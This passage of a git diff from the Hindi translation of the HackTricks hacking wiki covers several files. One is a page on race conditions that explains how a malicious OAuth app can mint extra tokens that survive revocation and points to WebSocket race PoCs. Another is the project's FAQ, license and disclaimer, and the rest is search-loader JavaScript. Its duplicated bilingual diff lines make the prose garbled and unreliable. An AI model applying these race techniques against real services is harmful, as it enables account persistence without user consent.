तो, अब तक यह बस google/linkedin/github... के साथ एक सामान्य लॉगिन है, जहाँ आपको एक पेज दिखता है जिस पर लिखा होता है: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
|
|
||||||
|
|
||||||
#### Race Condition in `authorization_code`
|
#### Race Condition in `authorization_code`
|
||||||
|
|
||||||
समस्या तब उभरती है जब आप इसे **accept it** करते हैं और यह स्वचालित रूप से एक **`authorization_code`** malicious application को भेज देता है। फिर यह **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) आपके account के लिए **`authorization_code`** से। मूलतः, यह इस तथ्य का दुरुपयोग करता है कि आपने application को आपके डेटा तक पहुँच देने की अनुमति दी है ताकि यह **create several accounts** कर सके। यदि आप बाद में application को आपके डेटा तक पहुँच देना बंद कर देते हैं तो एक जोड़ी AT/RT हटाई जा सकती है, लेकिन अन्य जोड़ीयाँ अभी भी valid रहेंगी।
|
The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. Basically, it will abuse the fact that you have accept the application to access your data to **create several accounts**. Then, if you **stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid**.
|
||||||
|
|
||||||
|
समस्या तब उभरती है जब आप इसे स्वीकार करते हैं और यह स्वतः ही एक **`authorization_code`** दुर्भावनापूर्ण application को भेज देता है। फिर यह application OAUth service provider में एक Race Condition का दुरुपयोग करके आपके खाते के लिए इस **`authorization_code`** से एक से अधिक AT/RT (_Authentication Token/Refresh Token_) उत्पन्न कर देता है। मूल रूप से, यह इस तथ्य का दुरुपयोग करेगा कि आपने application को अपने डेटा तक पहुँच की अनुमति दी थी ताकि यह कई accounts बना सके। फिर, यदि आप application को अपने डेटा तक पहुँच देना रोक देते हैं तो एक जोड़ी AT/RT हटा दी जाएगी, पर बाकी जोड़ी अभी भी मान्य रहेंगी।
|
||||||
|
|
||||||
|
|
||||||
#### Race Condition in `Refresh Token`
|
#### Race Condition in `Refresh Token`
|
||||||
|
|
||||||
एक बार जब आप एक valid RT प्राप्त कर लेते हैं, तो आप इसे abuse करके कई AT/RT जनरेट करने की कोशिश कर सकते हैं और यहाँ तक कि यदि user malicious application के permissions रद्द कर दे, तब भी कई RTs valid बने रह सकते हैं।
|
Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.**
|
||||||
|
|
||||||
|
एक बार जब आपने **obtained a valid RT** कर लिया है, तो आप इसे दुरुपयोग करके कई AT/RT उत्पन्न करने की कोशिश कर सकते हैं और यदि उपयोगकर्ता दुर्भावनापूर्ण application के लिए permissions रद्द भी कर देता है, तब भी कई RTs मान्य बने रहेंगे।
|
||||||
|
|
||||||
|
|
||||||
## **RC in WebSockets**
|
## **RC in WebSockets**
|
||||||
|
|
||||||
- [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) में आप Java में एक PoC पा सकते हैं जो websocket messages को parallel में भेजकर Web Sockets में भी Race Conditions का दुरुपयोग करता है।
|
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
|
||||||
- Burp’s WebSocket Turbo Intruder के साथ आप **THREADED** engine का उपयोग करके multiple WS connections spawn कर सकते हैं और payloads parallel में भेज सकते हैं। आधिकारिक उदाहरण से शुरू करें और concurrency के लिए `config()` (thread count) को tune करें; जब server‑side state को WS handlers के पार race करना हो तो यह अक्सर एक single connection पर batching से अधिक reliable होता है। देखें [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
|
आप [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) में Java में लिखा PoC पा सकते हैं जो websocket संदेशों को **parallel** में भेजकर Web Sockets में भी Race Conditions का दुरुपयोग करता है।
|
||||||
|
- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
|
||||||
|
Burp’s WebSocket Turbo Intruder के साथ आप **THREADED** इंजन का उपयोग करके कई WS कनेक्शन spawn कर सकते हैं और payloads को parallel में भेज सकते हैं। आधिकारिक example से शुरू करें और concurrency के लिए `config()` (thread count) को tune करें; यह अक्सर server‑side state को WS handlers के बीच race करते समय एक ही कनेक्शन पर batching करने से अधिक reliable होता है। See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
|
@ -1,57 +1,57 @@
|
|||||||
# HackTricks मान्यताएँ और FAQ
|
# HackTricks मान और अक्सर पूछे जाने वाले प्रश्न
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## HackTricks मान्यताएँ
|
## HackTricks Values
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> ये **HackTricks Project के मूल्य** हैं:
|
> ये HackTricks Project के **मूल्य** हैं:
|
||||||
>
|
>
|
||||||
> - पूरे इंटरनेट को **FREE** पहुँच दें **EDUCATIONAL hacking** संसाधनों तक।
|
> - पूरे Internet को **FREE** access दें शैक्षिक hacking संसाधनों तक।
|
||||||
> - Hacking सीखना है, और सीखना यथासंभव मुफ्त होना चाहिए।
|
> - Hacking सीखना है, और सीखना यथासंभव मुफ्त होना चाहिए।
|
||||||
> - इस किताब का उद्देश्य एक व्यापक **शैक्षिक संसाधन** के रूप में सेवा करना है।
|
> - इस किताब का उद्देश्य एक व्यापक **शैक्षिक संसाधन** के रूप में सेवा करना है।
|
||||||
> - समुदाय द्वारा प्रकाशित शानदार **hacking** तकनीकों को **STORE** करें और मूल **ORIGINAL AUTHORS** को सभी **credits** दें।
|
> - **STORE** शानदार **hacking** techniques जो समुदाय प्रकाशित करता है और मूल **ORIGINAL** **AUTHORS** को सभी **credits** देना।
|
||||||
> - हम दूसरों की क्रेडिट नहीं चाहते, हम सिर्फ सभी के लिए कूल ट्रिक्स स्टोर करना चाहते हैं।
|
> - **हमें अन्य लोगों से credit नहीं चाहिए**, हम बस सभी के लिए कूल tricks को स्टोर करना चाहते हैं।
|
||||||
> - हम HackTricks में अपने **स्वतः के रिसर्च** भी लिखते हैं।
|
> - हम HackTricks में **अपने खुद के शोध** भी लिखते हैं।
|
||||||
> - कई मामलों में हम सिर्फ तकनीक के महत्वपूर्ण हिस्सों का सारांश HackTricks में लिखेंगे और पाठक को और विवरण के लिए मूल पोस्ट पर जाने के लिए प्रोत्साहित करेंगे।
|
> - कई मामलों में हम सिर्फ technique के महत्वपूर्ण हिस्सों का **HackTricks में सारांश** लिखेंगे और अधिक विवरण के लिए पाठक को **original post पर जाने के लिए प्रोत्साहित करेंगे**।
|
||||||
> - किताब में सभी **hacking** तकनीकों को **ORGANIZE** करें ताकि वे और अधिक सुलभ हों।
|
> - किताब में सभी hacking techniques को **ORGANIZE** करें ताकि यह **MORE ACCESSIBLE** हो
|
||||||
> - HackTricks टीम ने केवल सामग्री को व्यवस्थित करने के लिए हजारों घंटे निःशुल्क समर्पित किए हैं ताकि लोग तेज़ी से सीख सकें।
|
> - HackTricks टीम ने सिर्फ सामग्री को व्यवस्थित करने के लिए मुफ्त में हजारों घंटे समर्पित किए हैं ताकि लोग **तेजी से सीख सकें**
|
||||||
|
|
||||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## HackTricks FAQ
|
## HackTricks अक्सर पूछे जाने वाले प्रश्न
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
>
|
>
|
||||||
> - **Thank you so much for these resources, how can I thank you?**
|
> - **Thank you so much for these resources, how can I thank you?**
|
||||||
|
|
||||||
आप सार्वजनिक रूप से HackTricks टीम को इन सभी संसाधनों को एक ट्वीट में उल्लेख करके धन्यवाद कह सकते हैं: [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
You can publicly thanks HackTricks teams for putting together all these resources publicly in a tweet mentioning [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||||
यदि आप विशेष रूप से आभारी हैं तो आप [**sponsor the project here**](https://github.com/sponsors/carlospolop) भी कर सकते हैं।\
|
If you are specially grateful you can also [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
|
||||||
और Github प्रोजेक्ट्स में एक स्टार देना मत भूलें! (लिंक नीचे मिलेंगे)।
|
And don't forget to **give a star in the Github projects!** (Find the links below).
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
>
|
>
|
||||||
> - **How can I contribute to the project?**
|
> - **How can I contribute to the project?**
|
||||||
|
|
||||||
आप समुदाय के साथ नए टिप्स और ट्रिक्स शेयर कर सकते हैं या किताबों में पाए गए बग फ़िक्स कर सकते हैं, इसके लिए संबंधित Github पेज पर एक **Pull Request** भेजें:
|
You can **share new tips and tricks with the community or fix bugs** you find in the books sending a **Pull Request** to the respective Github pages:
|
||||||
|
|
||||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||||
|
|
||||||
Github प्रोजेक्ट्स में एक स्टार देना मत भूलें!
|
Don't forget to **give a star in the Github projects!**
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
>
|
>
|
||||||
> - **Can I copy some content from HackTricks and put it in my blog?**
|
> - **Can I copy some content from HackTricks and put it in my blog?**
|
||||||
|
|
||||||
हां, आप कर सकते हैं, लेकिन कृपया यह न भूलें कि आप जहाँ से सामग्री ले रहे हैं उन specific link(s) का उल्लेख करें।
|
हाँ, आप कर सकते हैं, लेकिन **जिस specific link(s) से सामग्री ली गयी है उन्हें ज़रूर उल्लेख करें।**
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
>
|
>
|
||||||
> - **How can I cite a page of HackTricks?**
|
> - **How can I cite a page of HackTricks?**
|
||||||
|
|
||||||
जब तक उस पन्ने/पन्नों का लिंक जहाँ से आपने जानकारी ली है दिखाई दे रहा है, यह पर्याप्त है।\
|
जब तक उस पृष्ठ(ओं) का लिंक जहाँ से आपने जानकारी ली है दिखाई दे रहा है, यह पर्याप्त है।\
|
||||||
यदि आपको bibtex चाहिए तो आप कुछ इस तरह उपयोग कर सकते हैं:
|
If you need a bibtex you can use something like:
|
||||||
```latex
|
```latex
|
||||||
@misc{hacktricks-bibtexing,
|
@misc{hacktricks-bibtexing,
|
||||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||||
@ -63,81 +63,81 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
|||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
>
|
>
|
||||||
> - **Can I copy all HackTricks in my blog?**
|
> - **Can I copy all HackTricks in my blog?**
|
||||||
|
>
|
||||||
**मैं इसकी सलाह नहीं दूंगा**। यह किसी के भी फायदे में नहीं होगा क्योंकि सारा **content पहले से ही आधिकारिक HackTricks books में मुफ्त रूप से उपलब्ध है**।
|
> **मैं यह पसंद नहीं करूंगा**। यह किसी के भी लिए लाभदायक नहीं होगा क्योंकि सारी सामग्री आधिकारिक HackTricks किताबों में पहले से ही मुफ्त रूप से सार्वजनिक रूप से उपलब्ध है।
|
||||||
|
>
|
||||||
अगर आपको डर है कि यह गायब हो जाएगा, तो इसे Github पर fork कर लें या download कर लें, जैसा कि मैंने कहा यह पहले से ही मुफ्त है।
|
> अगर आपको डर है कि यह गायब हो जाएगा, तो बस इसे Github पर fork या डाउनलोड कर लें — जैसा मैंने कहा यह पहले से ही मुफ्त है।
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
>
|
>
|
||||||
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
|
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
|
||||||
|
>
|
||||||
पहला **HackTricks** **value** यह है कि दुनिया भर के सभी लोगों को **FREE** hacking educational resources प्रदान करना। HackTricks टीम ने इस content को मुफ्त में पेश करने के लिए **हजारों घंटे समर्पित किए हैं**।
|
> पहली **HackTricks** **value** यह है कि दुनिया भर के सभी लोगों को **मुफ्त** hacking शैक्षिक संसाधन प्रदान करना। HackTricks टीम ने इस सामग्री को देने के लिए **हजारों घंटे** समर्पित किए हैं, फिर से, यह सब **मुफ्त** है।
|
||||||
|
>
|
||||||
अगर आपको लगता है कि HackTricks books **commercial purposes** के लिए बनाए गए हैं तो आप **पूरी तरह गलत** हैं।
|
> अगर आप सोचते हैं कि HackTricks किताबें **commercial purposes** के लिए बनाई गई हैं तो आप **पूरी तरह गलत** हैं।
|
||||||
|
>
|
||||||
हमारे पास sponsors इसलिए हैं क्योंकि, भले ही सारा content FREE हो, हम समुदाय को हमारी मेहनत की सराहना करने का विकल्प देना चाहते हैं। इसलिए हम लोगों को HackTricks को [**Github sponsors**](https://github.com/sponsors/carlospolop) के माध्यम से donate करने का विकल्प देते हैं, और **relevant cybersecurity companies** HackTricks को sponsor कर सकती हैं और किताब में कुछ **ads** हो सकते हैं जिन्हें हमेशा ऐसे स्थानों पर रखा जाता है जहाँ वे **देखने में स्पष्ट** हों पर सीखने की प्रक्रिया को **बाधित न करें** जब कोई content पर ध्यान दे रहा हो।
|
> हमारे पास sponsors इसलिए हैं क्योंकि, भले ही सारी सामग्री **मुफ्त** हो, हम समुदाय को हमारी कड़ी मेहनत की सराहना करने का विकल्प देना चाहते हैं अगर वे चाहें। इसलिए, हम लोगों को HackTricks को दान करने का विकल्प देते हैं via [**Github sponsors**](https://github.com/sponsors/carlospolop), और **प्रासंगिक साइबरसिक्योरिटी कंपनियाँ** HackTricks को sponsor कर सकती हैं और किताब में कुछ **ads** रख सकती हैं — ये **ads** हमेशा ऐसी जगहों पर रखे जाते हैं जहाँ वे **दिखाई दें** लेकिन अगर कोई पाठक सामग्री पर ध्यान दे रहा हो तो वे सीखने की प्रक्रिया को **प्रभावित न करें**।
|
||||||
|
>
|
||||||
आप HackTricks को उन परेशान करने वाले ads से भरा हुआ नहीं पाएंगे जैसा कि कुछ अन्य ब्लॉग्स हैं जिनमें HackTricks से काफी कम content होता है, क्योंकि HackTricks व्यवसायिक उद्देश्यों के लिए नहीं बनाया गया है।
|
> आप HackTricks को ऐसी परेशान करने वाली ads से भरा हुआ नहीं पाएँगे जैसा कि अन्य ब्लॉग्स होते हैं जिनमें HackTricks की तुलना में बहुत कम सामग्री होती है, क्योंकि HackTricks व्यावसायिक उद्देश्यों के लिए नहीं बनाया गया है।
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
>
|
>
|
||||||
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
|
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
|
||||||
|
>
|
||||||
**हम इसके लिए बहुत क्षमाप्रार्थी हैं। यह नहीं होना चाहिए था**। कृपया हमें Github issues, Twitter, Discord... के माध्यम से जानकारी दें — उस HackTricks पेज का link जिसमें content है और आपके ब्लॉग का link — और **हम इसे जाँच कर ASAP जोड़ देंगे**।
|
> **हम इसके लिए बहुत खेद व्यक्त करते हैं। ऐसा नहीं होना चाहिए था।** कृपया हमें Github issues, Twitter, Discord... के जरिए बताइए — उस HackTricks पेज का लिंक जिसमें आपकी सामग्री है और आपके ब्लॉग का लिंक और **हम इसे चेक कर के ASAP जोड़ देंगे**।
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
>
|
>
|
||||||
> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
|
> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
|
||||||
|
>
|
||||||
ध्यान दें कि आपके पेज के लिंक HackTricks में होने से:
|
> ध्यान दें कि HackTricks में आपके पेज के लिंक होने से:
|
||||||
|
>
|
||||||
- आपके **SEO** में सुधार होता है
|
> - आपका **SEO** बेहतर होता है
|
||||||
- content **15+ भाषाओं में अनुवादित** हो जाता है जिससे अधिक लोग इस content तक पहुँच पाते हैं
|
> - सामग्री **15+ भाषाओं** में अनुवादित होती है जिससे अधिक लोग इस सामग्री तक पहुँच पाते हैं
|
||||||
- **HackTricks लोगों को प्रोत्साहित करता है** कि वे आपका पेज देखें (कई लोगों ने हमें बताया है कि जब उनका पेज HackTricks में आता है तो उन्हें अधिक visits मिलने लगते हैं)
|
> - **HackTricks लोगों को आपके पेज की जाँच करने के लिए प्रोत्साहित करता है** (कई लोगों ने हमें बताया है कि जब उनका पेज HackTricks में आया तो उन्हें ज्यादा विज़िट्स मिली)
|
||||||
|
>
|
||||||
हालाँकि, यदि आप फिर भी चाहते हैं कि आपके ब्लॉग का content HackTricks से हटा दिया जाए तो बस हमें बताइए और हम निश्चित रूप से **आपके ब्लॉग के हर लिंक को हटाएंगे**, और उस पर आधारित कोई भी content भी हटाएंगे।
|
> हालांकि, यदि आप फिर भी चाहते हैं कि आपके ब्लॉग की सामग्री HackTricks से हटाई जाए तो हमें बस बता दें और हम निश्चित रूप से **आपके ब्लॉग के सभी लिंक हटाएंगे**, और उससे जुड़ी कोई भी सामग्री हटा देंगे।
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
>
|
>
|
||||||
> - **What should I do if I find copy-pasted content in HackTricks?**
|
> - **What should I do if I find copy-pasted content in HackTricks?**
|
||||||
|
>
|
||||||
|
> हम हमेशा **मूल लेखक को पूरा श्रेय** देते हैं। यदि आप ऐसा पेज पाते हैं जिसमें बिना मूल स्रोत के copy-paste की गई सामग्री है, तो हमें बताइए और हम या तो उसे **हटा देंगे**, **टेक्स्ट से पहले लिंक जोड़ देंगे**, या **लिंक जोड़कर उसे पुनःलिखित (rewrite) कर देंगे**।
|
||||||
|
|
||||||
हम हमेशा **मूल लेखकों को पूरा श्रेय देते हैं**। अगर आप किसी पेज में ऐसा content पाते हैं जिसे मूल स्रोत के बिना copy-paste किया गया है, तो हमें बताइए और हम या तो उसे **हटा देंगे**, या **टेक्स्ट से पहले लिंक जोड़ देंगे**, या **लिंक जोड़कर उसे पुन:लिखित कर देंगे**।
|
## LICENSE
|
||||||
|
|
||||||
## लाइसेंस
|
कॉपीराइट © सभी अधिकार सुरक्षित जब तक कि अन्यथा निर्दिष्ट न हो।
|
||||||
|
|
||||||
Copyright © All rights reserved जब तक अलग से निर्दिष्ट न किया गया हो।
|
|
||||||
|
|
||||||
#### License Summary:
|
#### License Summary:
|
||||||
|
|
||||||
- Attribution: आप स्वतंत्र हैं:
|
- Attribution: आप स्वतंत्र हैं:
|
||||||
- Share — सामग्री की किसी भी माध्यम या फ़ॉर्मैट में copy और पुनर्वितरित करने के लिए।
|
- Share — सामग्री की किसी भी माध्यम या प्रारूप में प्रतिलिपि और पुनर्वितरण करने के लिए।
|
||||||
- Adapt — सामग्री को remix, transform, और build करने के लिए।
|
- Adapt — सामग्री को remix, transform, और उस पर निर्माण करने के लिए।
|
||||||
|
|
||||||
#### Additional Terms:
|
#### Additional Terms:
|
||||||
|
|
||||||
- Third-Party Content: इस ब्लॉग/किताब के कुछ हिस्सों में अन्य स्रोतों से सामग्री शामिल हो सकती है, जैसे कि अन्य ब्लॉग्स या प्रकाशनों से उद्धरण। ऐसी सामग्री का उपयोग fair use के सिद्धांतों के तहत या संबंधित copyright धारकों की स्पष्ट अनुमति के साथ किया गया है। कृपया तृतीय-पक्ष सामग्री के विशिष्ट licensing जानकारी के लिए मूल स्रोतों को देखें।
|
- Third-Party Content: इस ब्लॉग/किताब के कुछ हिस्सों में अन्य स्रोतों से सामग्री शामिल हो सकती है, जैसे अन्य ब्लॉग्स या प्रकाशनों के अंश। ऐसी सामग्री का उपयोग fair use के सिद्धांतों के तहत या संबंधित कॉपीराइट धारकों की स्पष्ट अनुमति के साथ किया गया है। कृपया तृतीय-पक्ष सामग्री के संबंध में विशिष्ट लाइसेंस जानकारी के लिए मूल स्रोतों को देखें।
|
||||||
- Authorship: HackTricks द्वारा मूल रूप से रचित content इस लाइसेंस की शर्तों के अधीन है। आप इस काम को साझा या संशोधित करते समय लेखक को श्रेय देने के लिए प्रोत्साहित किए जाते हैं।
|
- Authorship: HackTricks द्वारा मूल रूप से लिखी गई सामग्री इस लाइसेंस की शर्तों के अधीन है। साझा या अनुकूलन करते समय आपसे अनुरोध किया जाता है कि आप इस कार्य को लेखक को श्रेय दें।
|
||||||
|
|
||||||
#### Exemptions:
|
#### Exemptions:
|
||||||
|
|
||||||
- Commercial Use: इस सामग्री के व्यावसायिक उपयोग के संबंध में पूछताछ के लिए, कृपया मुझसे संपर्क करें।
|
- Commercial Use: इस सामग्री के व्यावसायिक उपयोग के संबंध में पूछताछ के लिए, कृपया मुझसे संपर्क करें।
|
||||||
|
|
||||||
यह लाइसेंस कंटेंट से सम्बन्धित किसी भी trademark या branding अधिकार को प्रदान नहीं करता। इस ब्लॉग/किताब में दिखाए गए सभी trademarks और branding उनके संबंधित मालिकों की संपत्ति हैं।
|
यह लाइसेंस सामग्री से संबंधित किसी भी ट्रेडमार्क या ब्रांडिंग अधिकार को प्रदान नहीं करता। इस ब्लॉग/किताब में दिखने वाले सभी ट्रेडमार्क और ब्रांडिंग उनके संबंधित मालिकों की संपत्ति हैं।
|
||||||
|
|
||||||
**HackTricks तक पहुँचने या उसका उपयोग करने के द्वारा, आप इस लाइसेंस की शर्तों का पालन करने के लिए सहमत होते हैं। यदि आप इन शर्तों से सहमत नहीं हैं, तो कृपया इस वेबसाइट तक पहुँच न करें।**
|
**HackTricks का उपयोग या पहुँच प्राप्त करके, आप इस लाइसेंस की शर्तों का पालन करने के लिए सहमति देते हैं। यदि आप इन शर्तों से सहमत नहीं हैं, तो कृपया इस वेबसाइट का उपयोग न करें।**
|
||||||
|
|
||||||
## **Disclaimer**
|
## **Disclaimer**
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> यह किताब, 'HackTricks,' केवल शैक्षिक और जानकारीपूर्ण उद्देश्यों के लिए है। इस किताब में मौजूद सामग्री 'as is' आधार पर प्रदान की जाती है, और लेखक तथा प्रकाशक किसी भी प्रकार का कोई भी प्रत्यक्ष या अप्रत्यक्ष, स्पष्ट या निहित, completeness, accuracy, reliability, suitability, या उपलब्धता के बारे में कोई प्रतिनिधित्व या वारंटी नहीं देते हैं। अतः आप इस जानकारी पर भरोसा करने के लिए पूरी तरह अपनी जिम्मेदारी स्वीकार करते हैं।
|
> यह किताब, 'HackTricks,' केवल शैक्षिक और सूचना प्रयोजनों के लिए है। इस किताब की सामग्री "जैसी है" आधार पर प्रदान की जाती है, और लेखक और प्रकाशक किसी भी प्रकार का, स्पष्ट या निहित, पूर्णता, सटीकता, विश्वसनीयता, उपयुक्तता, या उपलब्धता के बारे में कोई प्रतिनिधित्व या वारंटी नहीं देते। आप इस जानकारी पर जो भी निर्भरता करते हैं वह पूरी तरह आपकी अपनी जिम्मेदारी है।
|
||||||
>
|
>
|
||||||
> लेखक और प्रकाशक किसी भी हानि या क्षति के लिए, जिसमें बिना किसी सीमा के अप्रत्यक्ष या परिणामी हानि या क्षति शामिल है, या डेटा या लाभ की हानि से उत्पन्न किसी भी हानि या क्षति के लिए, जो इस किताब के उपयोग से उत्पन्न होती हो, किसी भी स्थिति में liable नहीं होंगे।
|
> लेखक और प्रकाशक किसी भी हानि या नुकसान के लिए उत्तरदायी नहीं होंगे, जिसमें प्रत्यक्ष या परोक्ष, परिणामस्वरूप होने वाला नुकसान या डेटा या लाभ के नुकसान से संबंधित कोई भी हानि शामिल है जो इस किताब के उपयोग से उत्पन्न हो।
|
||||||
>
|
>
|
||||||
> इसके अलावा, इस किताब में वर्णित तकनीकें और सुझाव केवल शैक्षिक और जानकारीपूर्ण उद्देश्यों के लिए प्रदान किए गए हैं, और किसी भी अवैध या दुर्भावनापूर्ण गतिविधियों के लिए उपयोग नहीं किए जाने चाहिए। लेखक और प्रकाशक किसी भी अवैध या अनैतिक गतिविधियों को समर्थन या condone नहीं करते, और इस किताब में निहित किसी भी जानकारी का उपयोग उपयोगकर्ता के अपने जोखिम और विवेक पर ही है।
|
> इसके अतिरिक्त, इस किताब में वर्णित तकनीकें और सुझाव केवल शैक्षिक और सूचना प्रयोजनों के लिए हैं, और किसी भी अवैध या दुर्भावनापूर्ण गतिविधियों के लिए उपयोग नहीं किए जाने चाहिए। लेखक और प्रकाशक किसी भी अवैध या अनैतिक गतिविधियों का समर्थन या समर्थन नहीं करते, और इस किताब में दी गई जानकारी का कोई भी उपयोग उपयोगकर्ता के अपने जोखिम और विवेक पर है।
|
||||||
>
|
>
|
||||||
> उपयोगकर्ता किसी भी कार्रवाई के लिए संपूर्ण रूप से जिम्मेदार है जो इस किताब में निहित जानकारी के आधार पर ली जाती है, और किसी भी तकनीक या सुझाव को लागू करने का प्रयास करते समय हमेशा पेशेवर सलाह और सहायता लेनी चाहिए।
|
> उपयोगकर्ता किसी भी कार्रवाई के लिए अकेला जिम्मेदार है जो इस किताब में दी गई जानकारी के आधार पर उठाई जाती है, और किसी भी तकनीक या सुझाव को लागू करने का प्रयास करते समय हमेशा पेशेवर सलाह और सहायता लेनी चाहिए।
|
||||||
>
|
>
|
||||||
> इस किताब का उपयोग कर के, उपयोगकर्ता लेखक और प्रकाशक को किसी भी और सभी जिम्मेदारी और देयता से मुक्त करने के लिए सहमत होते हैं जो इस किताब या इसमें निहित किसी भी जानकारी के उपयोग से होने वाले किसी भी नुकसान, हानि, या क्षति से उत्पन्न हो सकते हैं।
|
> इस किताब का उपयोग करके, उपयोगकर्ता लेखक और प्रकाशक को किसी भी और सभी दायित्वों और जिम्मेदारियों से मुक्त करने के लिए सहमत होता है जो इस किताब या इसकी सामग्री के उपयोग से होने वाले किसी भी नुकसान, हानि, या क्षति के परिणामस्वरूप हो सकते हैं।
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -491,3 +491,4 @@
|
|||||||
handle.addEventListener("touchstart", onStart, { passive: false });
|
handle.addEventListener("touchstart", onStart, { passive: false });
|
||||||
}
|
}
|
||||||
})();
|
})();
|
||||||
|
|
||||||
|
@ -68,11 +68,11 @@
|
|||||||
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
|
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
|
||||||
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
|
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
|
||||||
|
|
||||||
const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
|
const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
|
||||||
const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
|
const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
|
||||||
|
|
||||||
const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
|
const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
|
||||||
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
|
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
|
||||||
|
|
||||||
const indices = [];
|
const indices = [];
|
||||||
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
|
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
|
||||||
@ -208,3 +208,4 @@
|
|||||||
listOut.classList.toggle('hidden',!docs.length);
|
listOut.classList.toggle('hidden',!docs.length);
|
||||||
};
|
};
|
||||||
})();
|
})();
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user